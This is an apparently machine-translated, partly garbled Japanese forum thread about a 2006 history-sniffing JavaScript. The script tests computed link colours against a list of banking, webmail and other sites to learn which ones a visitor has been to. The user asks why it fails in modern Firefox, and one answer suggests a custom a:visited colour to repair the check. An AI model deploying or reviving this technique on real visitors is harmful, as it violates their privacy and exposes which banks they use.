2011-12-05 16 views
0

JavaScriptを習得しようとしていますが、Jeremiah Grossmanのこの特定のコードに関する問題はhttp://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.htmlにあります。Jeremiah Grossmanブラウザの履歴JavaScriptスクリプト

2006年の古い記事です。基本的にJavaScriptとCSSを使用して、ブラウザの履歴にある訪問済みのリンクを探します。

<script type="text/javascript"> 
var agent = navigator.userAgent.toLowerCase(); 
var is_mozilla = (agent.indexOf("mozilla") != -1); 

// popular websites. Lookup if user has visited any. 
var websites = [ 
    "http://ajaxian.com/", 
    "http://digg.com/", 
    "http://english.aljazeera.net/HomePage", 
    "http://ha.ckers.org", 
    "http://ha.ckers.org/blog/", 
    "http://jeremiahgrossman.blogspot.com/", 
    "http://login.yahoo.com/", 
    "http://mail.google.com/", 
    "http://mail.yahoo.com/", 
    "http://my.yahoo.com/", 
    "http://reddit.com/", 
    "http://seoblackhat.com", 
    "http://slashdot.org/", 
    "http://techfoolery.com/", 
    "http://weblogs.asp.net/jezell/", 
    "http://www.amazon.com/", 
    "http://www.aol.com/", 
    "http://www.bankofamerica.com/", 
    "http://www.bankone.com/", 
    "http://www.blackhat.com/", 
    "http://www.blogger.com/", 
    "http://www.bloglines.com/", 
    "http://www.bofa.com/", 
    "http://www.capitalone.com/", 
    "http://www.cenzic.com", 
    "http://www.cgisecurity.com", 
    "http://www.chase.com/", 
    "http://www.citibank.com/", 
    "http://www.cnn.com/", 
    "http://www.comerica.com/", 
    "http://www.e-gold.com/", 
    "http://www.ebay.com/", 
    "http://www.etrade.com/", 
    "http://www.expedia.com/", 
    "http://www.google.com/", 
    "http://www.hsbc.com/", 
    "http://www.icq.com/", 
    "http://www.jailbabes.com", 
    "http://www.microsoft.com/", 
    "http://www.msn.com/", 
    "http://www.myspace.com/", 
    "http://www.ntobjectives.com", 
    "http://www.passport.net/", 
    "http://www.paypal.com/", 
    "http://www.sourceforge.net/", 
    "http://www.spidynamics.com", 
    "http://www.statefarm.com/", 
    "http://www.usbank.com/", 
    "http://www.wachovia.com/", 
    "http://www.wamu.com/", 
    "http://www.watchfire.com", 
    "http://www.webappsec.org", 
    "http://www.wellsfargo.com/", 
    "http://www.whitehatsec.com", 
    "http://www.xanga.com/", 
    "http://www.yahoo.com/", 
    "http://seoblackhat.com/", 
    "http://www.alexa.com/", 
    "http://www.youtube.com/", 
    "https://banking.wellsfargo.com/", 
    "https://commerce.blackhat.com/", 
    "https://online.wellsfargo.com/", 
]; 

/* prevent multiple XSS loads */ 
if (! document.getElementById('xss_flag')) { 

    var d = document.createElement('div'); 
    d.id = 'xss_flag'; 
    document.body.appendChild(d); 

    var d = document.createElement('table'); 
    d.border = 0; 
    d.cellpadding = 5; 
    d.cellspacing = 10; 
    d.width = '90%'; 
    d.align = 'center'; 
    d.id = 'data'; 
    document.body.appendChild(d); 

    /* launch steal history */ 

if (is_mozilla) { 
    stealHistory(); 
} 

} 

function stealHistory() { 

    // loop through websites and check which ones have been visited 
    for (var i = 0; i < websites.length; i++) {   
     var link = document.createElement("a");  
     link.id = "id" + i;  
     link.href = websites[i];  
     link.innerHTML = websites[i];    
     document.body.appendChild(link);  
     var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");  
     document.body.removeChild(link);  
// check for visited  
    if (color == "rgb(0, 0, 255)") {   
     document.write('' + websites[i] + ''); 
     } // end visited check 

    } // end visited website loop 

} // end stealHistory method 
</script> 

しかし、6時間後に私はそれが正常に動作するために取得しようとしていますが、私は問題を抱えています。私はそれが動作しないことが判明理由はあるか()()私はVAR「色」や配列の各要素のためのすべてのリンクに設定されていた何色にチェックが戻っている場合は前

// check for visited  
    if (color == "rgb(0, 0, 255)") {   
     document.write('' + websites[i] + ''); 
     } // end visited check 

以下`rgb(0、0、238)?私はこれらの色が何を意味しているのか、それを0,0,255にする方法がわからないので、if()はうまくいくでしょうか?

最新のFirefoxバージョン8.0.1を使用している可能性がありますか?私はリンクのいくつかを訪問したので、彼らは私のブラウザの歴史の中でdefoですが、返される色は変わりません。 ご協力いただきありがとうございます。

+1

私が間違っている場合は私を修正してください。しかし、私はほとんどのWebブラウザが履歴スニッフィングを避けると思います。この方法はほぼ4歳です。 – Blender

+2

このスクリプトでは、ドキュメントへのリンクを追加してリンクの色をチェックしています。もし 'rgb(0,0,255)'であれば、それは訪問したと考えられます。たとえば、訪問したリンクに異なる色が設定されていました。 – ManseUK

+0

そしてなぜあなたはsomeonesの歴史が何であるか知りたいのですか? – ManseUK

答えて

1

a:link, a:visitedの色を定義すると、cssを使用すると、たとえばeas easlyチェックすることができます。

<style> 
    a:link{color:green} 
    a:visited {color:#993300} 
</style> 


    // check for visited  
    if (color == "#993300") {   
     document.write('' + websites[i] + ''); 
    } // end visited check 
+0

いいえ私はあなたのアイデアを見ることができますが、私は推測しているように見えますが、色の不一致と、var色から計算された値が原因です。 – daza166

+0

私は実際にDavidがFirefoxのanchersのデフォルトの色を変更したことを意味しています。すなわち、rgbの色を設定された色に変更します。賢い – daza166

関連する問題